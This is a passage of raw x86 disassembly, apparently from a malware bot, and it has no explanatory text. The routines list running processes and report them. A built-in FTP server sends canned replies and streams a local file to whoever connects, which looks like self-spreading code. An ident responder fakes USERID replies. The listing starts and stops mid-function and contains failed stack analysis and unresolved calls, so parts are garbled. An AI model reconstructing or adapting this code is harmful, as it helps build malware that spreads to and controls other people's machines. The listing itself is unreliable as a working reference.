0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+30h] push 10h push edx call sub_4019C4 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea ecx, [esp+3Ch] push 10h push ecx call sub_4019C4 add esp, 3Ch mov dword ptr [esp+40h], 2 push esi mov ecx, eax call sub_4017EE lea edx, [esi+8Eh] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+3Ch] push 10h push eax call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 9 push 10h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+54h] push 10h push edx call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE add esi, 60h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E760 proc near ; CODE XREF: sub_40161Dj var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41E760 push eax mov large fs:0, esp sub esp, 44h push ebx push ebp push esi mov esi, [esp+5Ch+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E8FA lea eax, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push eax call sub_4018E8 ; --------------------------------------------------------------------------- lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0 push ecx call sub_4011D6 add esp, 4 test al, al jz loc_41E8E2 push 0 push 7Bh push 25h push 9 push 25h push 25h push 9 push 5 push 1Dh push 23h push 1Fh lea edx, [esp+8Ch+var_3C] push 79h push edx call sub_4019C4 add esp, 34h mov edi, eax lea ebx, [esi+69h] mov byte ptr [esp+60h+var_4], 1 mov ecx, ebx call sub_4014DD push eax mov ecx, edi call sub_40168B mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], 0 call sub_401226 lea ecx, [esp+60h+var_50] call sub_40170D lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx xor edi, edi call sub_4014E2 mov eax, [eax] lea ecx, [esp+60h+var_4C] push ecx lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], eax call sub_40197E push eax lea ecx, [esp+64h+var_50] call sub_401811 test al, al jz short loc_41E8E2 mov ebp, dword_5118D8 loc_41E86E: ; CODE XREF: sub_41E760+180j lea ecx, [esp+60h+var_50] inc edi call sub_40122B mov ecx, eax call sub_4017EE push eax lea ecx, [esp+64h+var_50] call sub_40122B mov edx, [eax+15h] mov ecx, ebx push edx push edi push offset aD_PidDS ; "%d. - Pid: %d - \"%s\"" call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 20h push 5DCh call ebp lea ecx, [esp+60h+var_50] call sub_40107D lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx call sub_40197E push eax lea ecx, [esp+64h+var_50] call sub_401811 test al, al jnz short loc_41E86E loc_41E8E2: ; CODE XREF: sub_41E760+62j ; sub_41E760+106j lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401825 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41E8FA: ; CODE XREF: sub_41E760+37j lea ecx, [edi+32h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E9EE push offset asc_444600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov [esp+64h+var_4], 2 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41ED15 push offset asc_444600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 3 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_444600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 4 call sub_4014DD push eax push offset dword_444FFC lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41E9EE: ; CODE XREF: sub_41E760+1ACj lea ecx, [edi+8Eh] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EB55 lea edx, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push edx call sub_4016EA ; --------------------------------------------------------------------------- lea eax, [esp+60h+var_48] mov ebx, 5 push eax mov [esp+64h+var_4], ebx call sub_402162 add esp, 4 test al, al jz loc_41EB3D push 0 push 3Eh push 13h push ebx push 3 push 9 push 16h push 12h push ebx push 13h lea ecx, [esp+88h+var_3C] push 3Dh push ecx call sub_4019C4 add esp, 30h mov edi, eax lea ebp, [esi+69h] mov byte ptr [esp+60h+var_4], 6 mov ecx, ebp call sub_4014DD push eax mov ecx, edi call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], bl call sub_401226 lea ecx, [esp+60h+var_50] call sub_401B54 lea ecx, [esp+60h+var_4C] xor edi, edi push ecx lea ecx, [esp+64h+var_48] call sub_401465 mov edx, [eax] lea eax, [esp+60h+var_4C] push eax lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], edx call sub_4013F7 push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jz short loc_41EB3D mov ebx, dword_5118D8 loc_41EAD6: ; CODE XREF: sub_41E760+3DBj lea ecx, [esp+60h+var_50] inc edi call sub_401055 mov ecx, eax call sub_4017EE push eax push edi push offset dword_444FF0 mov ecx, ebp call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch push 5DCh call ebx lea ecx, [esp+60h+var_50] call sub_401839 lea eax, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push eax call sub_4013F7 push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jnz short loc_41EAD6 loc_41EB3D: ; CODE XREF: sub_41E760+2CFj ; sub_41E760+36Ej lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401253 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41EB55: ; CODE XREF: sub_41E760+2A3j lea ecx, [edi+0BCh] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EC4C push offset asc_444600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov [esp+64h+var_4], 7 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41ED15 push offset asc_444600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 8 call sub_4017EE push eax call sub_401A0A add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_444600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 9 call sub_4014DD push eax push offset dword_444FE8 lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41EC4C: ; CODE XREF: sub_41E760+40Aj lea ecx, [edi+60h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41ED15 push offset asc_444600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov [esp+64h+var_4], 0Ah call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz short loc_41ED15 push offset asc_444600 ; " " lea ecx, [esp+64h+var_24] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 0Bh call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+60h+var_24] mov ebx, eax mov [esp+60h+var_4], edi call sub_401226 test ebx, ebx jz short loc_41ED15 push ebx push offset dword_444FDC lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 push ebx call sub_4018B6 add esp, 1Ch jmp short loc_41ED17 ; --------------------------------------------------------------------------- loc_41ED15: ; CODE XREF: sub_41E760+1F0j ; sub_41E760+44Ej ... xor al, al loc_41ED17: ; CODE XREF: sub_41E760+195j ; sub_41E760+289j ... mov ecx, [esp+60h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 50h retn 4 sub_41E760 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 180h dup(0CCh) ; --------------------------------------------------------------------------- loc_41EEB0: ; CODE XREF: ___:loc_402004j push ebp mov ebp, esp push 0FFFFFFFFh push (offset asc_43C4EA+26h) mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov edi, dword_5118D8 mov [ebp-10h], esp mov esi, ecx mov dword ptr [ebp-4], 0 loc_41EEE0: ; CODE XREF: ___:0041EEF1j mov al, [esi+0ABh] test al, al jnz short loc_41EEF3 push 3E8h call edi jmp short loc_41EEE0 ; --------------------------------------------------------------------------- loc_41EEF3: ; CODE XREF: ___:0041EEE8j mov al, [esi+0ACh] lea ecx, [esi+15h] push eax push ecx mov ecx, offset byte_449277 call sub_401A41 lea edx, [ebp-14h] mov ecx, offset byte_4E8E9B push edx mov [ebp-14h], esi call sub_40120D ; --------------------------------------------------------------------------- loc_41EF19: ; DATA XREF: ___:loc_41EF2Co mov ecx, [ebp-0Ch] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_41EF2C: ; DATA XREF: ___:00442554o mov eax, offset loc_41EF19 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EF70 proc near ; CODE XREF: sub_401DFCj arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, [esp+arg_0] push esi mov esi, ecx mov [esi+11h], eax mov cl, [eax+94h] mov [esi+0A9h], cl mov dl, [eax+93h] mov [esi+0A8h], dl mov cl, [eax+95h] add eax, 15h mov [esi+0AAh], cl push eax lea ecx, [esi+2Ah] call sub_401FDC mov edx, [esi+11h] lea ecx, [esi+69h] add edx, 54h push edx call sub_401FDC mov eax, [esi+11h] lea ecx, [esi+54h] add eax, 3Fh push eax call sub_401FDC mov ecx, [esi+11h] add ecx, 2Ah push ecx lea ecx, [esi+3Fh] call sub_401FDC mov edx, [esi+11h] lea ecx, [esi+15h] push edx call sub_401FDC mov al, [esp+4+arg_4] mov byte ptr [esi+0ABh], 1 mov [esi+0ACh], al pop esi retn 8 sub_41EF70 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41F030 proc near ; CODE XREF: sub_4020C7j var_DC = dword ptr -0DCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_94 = byte ptr -94h var_88 = dword ptr -88h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_44 = byte ptr -44h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = byte ptr -0Ch var_8 = dword ptr -8 arg_0 = byte ptr 4 arg_8 = byte ptr 0Ch arg_14 = dword ptr 18h arg_18 = byte ptr 1Ch arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_50 = byte ptr 54h arg_68 = byte ptr 6Ch arg_80 = byte ptr 84h arg_88 = byte ptr 8Ch arg_A8 = byte ptr 0ACh arg_E4 = byte ptr 0E8h arg_F0 = byte ptr 0F4h arg_118 = byte ptr 11Ch arg_128 = byte ptr 12Ch arg_138 = byte ptr 13Ch arg_148 = byte ptr 14Ch arg_158 = byte ptr 15Ch arg_908 = byte ptr 90Ch arg_18C8 = dword ptr 18CCh arg_18D8 = dword ptr 18DCh arg_1930 = byte ptr 1934h arg_1970 = dword ptr 1974h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41F030 push eax mov eax, 19B4h mov large fs:0, esp call sub_437B30 push esi push edi mov edi, ecx xor eax, eax mov [esp+14h+var_8], edi mov [esp+14h+arg_14], 10h lea esi, [edi+19h] mov ecx, esi mov [ecx], eax mov [ecx+4], eax mov [ecx+8], eax mov [ecx+0Ch], eax mov word ptr [esi], 2 mov [edi+1Dh], eax mov dx, word ptr dword_44964F push edx nop call near ptr 71AB2B66h push 6 push 1 push 2 mov [edi+1Bh], ax nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [edi+15h], eax jnz short loc_41F0B7 lea eax, [esp+24h+var_18] mov ecx, offset byte_4E8E9B push eax mov [esp+28h+var_18], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F75A ; --------------------------------------------------------------------------- loc_41F0B7: ; CODE XREF: sub_41F030+6Dj push 10h push esi push eax nop call near ptr 71AB3E00h test eax, eax jz short loc_41F0E7 mov ecx, [edi+15h] push ecx nop call near ptr 71AB9639h lea edx, [esp+34h+var_28] mov ecx, offset byte_4E8E9B push edx mov [esp+38h+var_28], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F75A ; --------------------------------------------------------------------------- loc_41F0E7: ; CODE XREF: sub_41F030+93j mov al, byte_4E8E44 test al, al jz loc_41F750 push ebx mov ebx, dword_511B14 push ebp mov ebp, dword_511CA0 loc_41F102: ; CODE XREF: sub_41F030+718j mov eax, [edi+15h] push 0Ah push eax nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41F11D push 0FAh jmp loc_41F73B ; --------------------------------------------------------------------------- loc_41F11D: ; CODE XREF: sub_41F030+E1j mov eax, [edi+15h] lea ecx, [esp+40h+var_C] lea edx, [esp+40h+arg_F0] push ecx push edx push eax nop call near ptr 71AC1028h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_41F736 xor ecx, ecx lea edx, [esp+4Ch+var_14] mov [esp+4Ch+var_2C], ecx lea eax, [esp+4Ch+var_2C] mov [esp+4Ch+var_28], ecx push edx mov [esp+50h+var_24], ecx push eax push esi mov [esp+58h+var_14], 10h mov [esp+58h+var_20], ecx call near ptr 71AC0B50h nop mov eax, [esp+58h+var_34] test al, al jz loc_41F741 mov cl, byte_449DB8 test cl, cl jz short loc_41F1CF mov edx, [esp+58h+var_34+3] mov ecx, dword_44964F and edx, 0FFh push ecx mov ecx, [esp+5Ch+var_34+2] push edx mov edx, [esp+60h+var_34+1] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d" mov ecx, offset dword_449958 call sub_4014DD push eax push 0 push 0 push offset byte_4D8075 call sub_401857 add esp, 28h loc_41F1CF: ; CODE XREF: sub_41F030+14Ej lea ecx, [esp+58h+arg_0] call sub_40142E push 1000h push 1000h lea ecx, [esp+60h+arg_0] mov [esp+60h+arg_1970], 0 call sub_401C71 push eax call sub_4015F5 add esp, 8 lea eax, [esp+58h+arg_0] lea ecx, [esp+58h+arg_18] push eax call sub_4014D3 lea ecx, [esp+58h+arg_0] mov byte ptr [esp+58h+arg_1970], 1 push ecx lea ecx, [esp+5Ch+arg_18] call sub_401FDC mov edi, offset a220 ; "220 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a220 ; "220 \r\n" push esi call ebp ; send push 0 lea edx, [esp+6Ch+arg_158] push 800h push edx push esi call sub_401280 mov edi, offset a331 ; "331 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a331 ; "331 \r\n" push esi call ebp ; send push 0 lea eax, [esp+7Ch+arg_148] push 800h push eax push esi call sub_401280 mov edi, offset a230 ; "230 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a230 ; "230 \r\n" push esi call ebp ; send push 0 lea ecx, [esp+8Ch+arg_138] push 800h push ecx push esi call sub_401280 mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb push 0 not ecx dec ecx push ecx push offset a200 ; "200 \r\n" push esi call ebp ; send push 0 lea edx, [esp+9Ch+arg_128] push 800h push edx push esi call sub_401280 add esp, 10h lea eax, [esp+98h+arg_128] lea ecx, [esp+98h+var_C] push eax call sub_401870 push offset asc_444600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx lea ecx, [esp+0A4h+var_C] mov [esp+0A4h+arg_1930], 2 call sub_4016B8 push offset asc_445078 ; "," lea edx, [esp+9Ch+arg_38] push 0 push edx lea ecx, [esp+0A4h+var_54] mov [esp+0A4h+arg_1930], 3 call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 4 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_38] mov edi, eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445078 ; "," lea eax, [esp+9Ch+arg_80] push 1 push eax lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 5 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_80] mov [esp+98h+var_7C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445078 ; "," lea ecx, [esp+9Ch+arg_8] push 2 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 6 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_8] mov [esp+98h+var_5C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445078 ; "," lea edx, [esp+9Ch+arg_68] push 3 push edx lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 7 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_68] mov [esp+98h+var_58], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445078 ; "," lea eax, [esp+9Ch+arg_20] push 4 push eax lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 8 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_20] mov [esp+98h+var_88], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445078 ; "," lea ecx, [esp+9Ch+arg_50] push 5 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 9 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_50] mov [esp+98h+var_80], eax mov [esp+98h+arg_1930], 3 call sub_401226 mov dl, byte ptr [esp+98h+var_88] mov al, byte ptr [esp+98h+var_80] mov ecx, [esp+98h+var_58] mov byte ptr [esp+98h+var_68+1], dl mov edx, [esp+98h+var_5C] mov byte ptr [esp+98h+var_68], al mov eax, [esp+98h+var_68] push ecx and eax, 0FFFFh push edx mov [esp+0A0h+var_88], eax mov eax, [esp+0A0h+var_7C] push eax push edi lea ecx, [esp+0A8h+arg_A8] push offset aD_D_D_D ; "%d.%d.%d.%d" push ecx nop call sub_5F76F7 mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 18h repne scasb not ecx dec ecx push 0 push ecx push offset a200 ; "200 \r\n" push esi call ebp ; send push 0 lea edx, [esp+0ACh+arg_118] push 800h push edx push esi call sub_401280 mov edi, offset a150 ; "150 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a150 ; "150 \r\n" push esi call ebp ; send mov eax, [esp+0B8h+var_A8] lea ecx, [esp+0B8h+arg_88] push eax push ecx call sub_401AA0 add esp, 8 lea ecx, [esp+0B8h+var_44] mov [esp+0B8h+var_A8], eax push offset aRb ; "rb" call sub_4017EE push eax nop call near ptr 77C3F010h mov edi, eax add esp, 8 test edi, edi mov [esp+0B8h+var_A0], edi jz loc_41F695 cmp [esp+0B8h+var_A8], 0FFFFFFFFh jz loc_41F695 push 2 push 0 push edi call near ptr 77C4139Ch nop push edi call near ptr 77C41574h nop push 0 push 0 push edi mov [esp+0D4h+var_9C], eax nop call near ptr 77C4139Ch add esp, 1Ch loc_41F5C0: ; CODE XREF: sub_41F030+5E1j mov edx, [esp+0B8h+var_A0] mov ecx, 400h xor eax, eax lea edi, [esp+0B8h+arg_908] rep stosd push edx push 1000h lea eax, [esp+0C0h+arg_908] push 1 push eax nop call near ptr 77C411FBh mov ecx, [esp+0C8h+var_A0] mov edi, eax add esp, 10h test byte ptr [ecx+0Ch], 20h jnz short loc_41F613 mov eax, [esp+0B8h+var_A8] push 0 lea edx, [esp+0BCh+arg_908] push edi push edx push eax call ebp ; send cmp edi, 1000h jz short loc_41F5C0 loc_41F613: ; CODE XREF: sub_41F030+5C7j mov eax, [esp+0C8h+var_B4] mov edx, [eax+11h] inc edx mov [eax+11h], edx mov cl, byte_449DB8 test cl, cl mov eax, edx jz short loc_41F67C mov edx, [esp+0C8h+var_A4+3] mov ecx, [esp+0C8h+var_AC] push eax mov eax, [esp+0CCh+var_A4+2] and edx, 0FFh push ecx mov ecx, [esp+0D0h+var_A4+1] push edx mov edx, [esp+0D4h+var_A4] and eax, 0FFh and ecx, 0FFh push eax and edx, 0FFh push ecx push edx push offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total s"... mov ecx, offset dword_449958 call sub_4014DD push eax push 0 push 0 push offset byte_4D8075 call sub_401857 add esp, 2Ch loc_41F67C: ; CODE XREF: sub_41F030+5F8j mov eax, [esp+0C8h+var_B0] push eax nop call near ptr 77C40AB1h mov ecx, [esp+0CCh+var_B8] add esp, 4 push ecx nop call near ptr 71AB9639h loc_41F695: ; CODE XREF: sub_41F030+55Bj ; sub_41F030+566j mov edi, offset a226 ; "226 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a226 ; "226 \r\n" push esi call ebp ; send push 0 lea edx, [esp+0E0h+arg_E4] push 800h push edx push esi call sub_401280 mov edi, offset a221 ; "221 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a221 ; "221 \r\n" push esi call ebp ; send push esi call near ptr 71AB9639h nop lea ecx, [esp+0F0h+var_AC] mov byte ptr [esp+0F0h+arg_18D8], 2 call sub_401226 lea ecx, [esp+0F0h+var_64] mov byte ptr [esp+0F0h+arg_18D8], 1 call sub_401226 lea ecx, [esp+0F0h+var_7C] mov byte ptr [esp+0F0h+arg_18D8], 0 call sub_401226 lea ecx, [esp+0F0h+var_94] mov [esp+0F0h+arg_18D8], 0FFFFFFFFh call sub_401226 mov edi, [esp+0F0h+var_DC] loc_41F736: ; CODE XREF: sub_41F030+109j push 9C4h loc_41F73B: ; CODE XREF: sub_41F030+E8j nop call near ptr 2850369h loc_41F741: ; CODE XREF: sub_41F030+140j mov al, byte_4E8E44 test al, al jnz loc_41F102 pop ebp pop ebx loc_41F750: ; CODE XREF: sub_41F030+BEj mov eax, [edi+15h] push eax call near ptr 71AB9639h nop loc_41F75A: ; CODE XREF: sub_41F030+82j ; sub_41F030+B2j mov ecx, [esp+0F0h+arg_18C8] pop edi xor eax, eax pop esi mov large fs:0, ecx add esp, 19C0h retn sub_41F030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41F960 proc near ; CODE XREF: sub_401230j var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_60 = byte ptr -60h var_48 = byte ptr -48h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41F960 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 84h push ebx push ebp push esi push 71h call sub_40198D add esp, 4 cmp eax, 0FFFFFFFFh mov [esp+9Ch+var_90], eax jnz short loc_41F99D mov byte_4E8E99, 0 jmp loc_41FB01 ; --------------------------------------------------------------------------- loc_41F99D: ; CODE XREF: sub_41F960+2Fj mov cl, byte_44927B xor ebx, ebx cmp cl, bl mov byte_4E8E99, 1 jnz loc_41FAF4 lea ecx, [esp+9Ch+var_8C] push ecx push eax call sub_402009 mov ebp, eax add esp, 8 cmp ebp, 0FFFFFFFFh jz loc_41FAE7 push edi lea ecx, [esp+0A0h+var_7C] call sub_40142E mov [esp+0A0h+var_4], ebx call sub_401F0A mov esi, dword_511AC8 call esi ; rand cdq mov ecx, 3 push offset byte_448F30 idiv ecx lea ecx, [esp+0A0h+var_78] mov edi, edx add edi, 0Ah call sub_4015E1 cmp edi, ebx jle short loc_41FA66 loc_41FA0A: ; CODE XREF: sub_41F960+104j lea ecx, [esp+9Ch+var_60] call sub_40142E lea edx, [esp+9Ch+var_78] lea ecx, [esp+9Ch+var_60] push edx mov byte ptr [esp+0A0h], 1 call sub_401FDC call esi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+9Ch+var_60] add edx, 61h push edx call sub_4017EE push eax lea edx, [esp+0A4h+var_78] push offset dword_444E54 push edx call sub_40102D add esp, 10h lea ecx, [esp+9Ch+var_60] mov [esp+9Ch], bl call sub_401226 dec edi jnz short loc_41FA0A loc_41FA66: ; CODE XREF: sub_41F960+A8j push 0Ah lea ecx, [esp+0A0h+var_78] call sub_401479 mov [eax], bl mov ecx, 10h xor eax, eax lea edi, [esp+9Ch+var_48] rep stosd lea ecx, [esp+9Ch+var_78] call sub_4017EE push eax push 71h call esi ; rand cdq mov ecx, 1770h idiv ecx inc edx push edx lea edx, [esp+0A8h+var_48] push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n" push edx nop call sub_5F76F7 add esp, 14h lea eax, [esp+9Ch+var_48] push ebx push 40h push eax push ebp nop call near ptr 71AB428Ah mov esi, dword_511C9C push ebp call esi ; closesocket lea ecx, [esp+0A0h+var_7C] mov [esp+0A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0A0h+var_90] push ecx call esi ; closesocket mov byte_4E8E99, bl pop edi jmp short loc_41FAFE ; --------------------------------------------------------------------------- loc_41FAE7: ; CODE XREF: sub_41F960+67j push 7D0h nop call near ptr 2850369h jmp short loc_41FB01 ; --------------------------------------------------------------------------- loc_41FAF4: ; CODE XREF: sub_41F960+4Ej mov ebp, [esp+9Ch+var_90] mov esi, dword_511C9C loc_41FAFE: ; CODE XREF: sub_41F960+185j push ebp call esi ; closesocket loc_41FB01: ; CODE XREF: 